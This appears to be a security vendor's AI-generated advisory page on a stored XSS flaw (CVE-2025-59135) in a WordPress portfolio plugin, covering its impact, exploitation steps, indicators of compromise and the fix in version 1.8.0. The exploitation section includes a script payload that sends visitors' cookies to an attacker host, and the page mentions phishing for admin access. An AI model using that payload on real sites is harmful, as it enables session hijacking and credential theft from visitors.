CVE-2025-59135
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-59135 is a Stored Cross-Site Scripting (XSS) vulnerability in the Behance Portfolio Manager WordPress plugin developed by eLEOPARD. It affects all versions through 1.7.5 and was reported by researcher Nguyen Tran Tuan Dung (domiee13) on October 3, 2025, with public disclosure on December 31, 2025. The vulnerability was assigned a CVSS v3.1 base score of 5.9 (Medium) by Patchstack (Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An attacker with Administrator or Developer-level privileges can inject malicious scripts into plugin-managed content that are subsequently stored and rendered to site visitors without proper sanitization or output encoding. Exploitation requires high privileges to inject the payload but only requires a victim user to visit the affected page for the script to execute in their browser context (Patchstack).

Impact

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of visiting users. This can lead to session hijacking, credential theft, malicious redirects, defacement, or delivery of further malware to site visitors. While the scope is changed (affecting users beyond the attacker's session), the individual confidentiality, integrity, and availability impacts are rated low, limiting the overall severity (Patchstack).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.031%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority with no impactful threat currently observed (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Behance Portfolio Manager plugin at version 1.7.5 or earlier, using tools like WPScan or manual inspection of plugin directories.
  2. Obtain privileged access: Gain Administrator or Developer-level credentials on the target WordPress site through phishing, credential stuffing, or other means.
  3. Inject malicious payload: Navigate to the plugin's settings or portfolio management interface and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field.
  4. Payload persistence: Submit the form to store the malicious script in the WordPress database via the plugin.
  5. Victim execution: Wait for a site visitor or administrator to load the page containing the injected content; the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing authenticated POST requests to plugin settings or portfolio management endpoints from unexpected IP addresses or at unusual times.
  • Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads stored in WordPress database fields associated with the Behance Portfolio Manager plugin.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading portfolio pages, potentially indicating cookie or credential exfiltration.
  • File System: Unexpected modifications to plugin files or WordPress core files that may indicate post-exploitation activity following credential theft.

Mitigation and workarounds

The vendor has released version 1.8.0 of the Behance Portfolio Manager plugin, which resolves this vulnerability. Site administrators should update the plugin to version 1.8.0 or later immediately via the WordPress admin dashboard. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard. If an immediate update is not possible, restricting Administrator and Developer account access and enforcing strong, unique credentials can reduce the risk of exploitation (Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15239NONEN/A
  • simple-cloudflare-turnstile
NoYesAug 07, 2026
CVE-2026-15211NONEN/A
  • subscriptions-for-woocommerce
NoYesAug 07, 2026
CVE-2026-15148NONEN/A
  • wp-events-manager
NoYesAug 07, 2026
CVE-2026-16265NONEN/A
  • wp-google-map-plugin
NoYesAug 07, 2026
CVE-2026-16263NONEN/A
  • wp-google-map-plugin
NoYesAug 07, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management